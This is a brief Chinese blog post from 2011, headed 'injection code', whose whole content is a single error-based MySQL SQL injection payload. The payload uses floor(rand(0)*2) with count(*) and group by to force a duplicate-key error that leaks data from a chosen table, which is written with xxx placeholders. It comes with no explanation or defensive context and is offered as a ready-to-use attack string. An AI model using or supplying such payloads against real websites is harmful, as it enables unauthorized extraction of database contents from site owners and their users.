注入代码：
and exists(SELECT 1 FROM (select count(*),count(*),concat(floor(rand(0)*2),(select xxx from xxxx limit 2100,1))a from xxxx group by a)b)/*
posted on 2011-03-27 03:51 =_=! 阅读(126) 评论(0) 编辑 收藏 举报
